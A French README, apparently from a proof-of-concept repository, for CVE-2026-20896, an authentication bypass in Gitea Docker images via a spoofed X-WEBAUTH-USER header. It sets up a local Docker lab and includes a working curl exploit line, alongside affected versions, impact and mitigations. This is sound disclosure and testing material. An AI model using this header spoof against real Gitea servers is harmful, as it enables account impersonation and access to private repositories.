
CVE-2026-20896 — Mis à jour !
Gitea Docker Image Authentication Bypass
CVE-2026-20896 : Preuve de concept de contournement d'authentification dans l'image Docker Gitea
[!WARNING] Utilisez cette preuve de concept uniquement dans un laboratoire local ou contre un système que vous êtes explicitement autorisé à tester.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
Présentation
CVE-2026-20896 est un contournement d'authentification dans les images Docker officielles Gitea concernées. Lorsque l'authentification par proxy inverse est activée, le paramètre REVERSE_PROXY_TRUSTED_PROXIES = * généré par l'image permet à un client pouvant atteindre le backend Gitea d'usurper l'identité d'un utilisateur existant via l'en-tête X-WEBAUTH-USER.
Le laboratoire crée un administrateur nommé gitea-admin avec un mot de passe aléatoire et stocke CVE-2026-20896_AUTH_BYPASS_CONFIRMED dans le dépôt privé gitea-admin/private-proof. La lecture de ce fichier sans connaître le mot de passe aléatoire de l'administrateur démontre le contournement.
Versions concernées
| Catégorie | Version |
|---|---|
| Vulnérable | Images Docker officielles gitea/gitea ≤ 1.26.2 |
| Première version corrigée | 1.26.3 |
| Recommandée | 1.26.4 ou ultérieure |
La configuration vulnérable nécessite que l'authentification par proxy inverse soit activée et que le backend Gitea soit directement accessible, ou qu'un proxy en amont conserve l'en-tête d'identité fourni par l'attaquant. Un conteneur de proxy inverse n'est pas requis pour cette reproduction locale.
Environnement
# construction
docker build -t cve-2026-20896-gitea-vuln .
# exécution
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Attendez quelques secondes que Gitea et le dépôt de preuve privé s'initialisent.
Preuve de concept
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Une exploitation réussie renvoie CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
Python
python poc.py http://127.0.0.1:3000
Le script compare les requêtes non authentifiées, non administrateur et administrateur falsifiées et affiche VULNERABLE lorsque le contournement d'autorisation est confirmé. Il nécessite Python 3.10 ou ultérieur et n'utilise que la bibliothèque standard.
Impact
- Usurpation d'utilisateurs Gitea connus ou devinables
- Accès non autorisé aux dépôts privés et aux ressources utilisateur
- Actions administratives lorsqu'un compte administrateur est usurpé
Atténuation
- Mettez à niveau vers Gitea 1.26.3 ou ultérieur ; 1.26.4 ou ultérieur est recommandé.
- Restreignez
REVERSE_PROXY_TRUSTED_PROXIESaux adresses de proxy de confiance. - Empêchez l'accès direct au backend Gitea et écrasez les en-têtes d'identité fournis en externe.
- Désactivez l'authentification par proxy inverse lorsqu'elle n'est pas requise.
Nettoyage
docker stop cve-2026-20896-gitea-vuln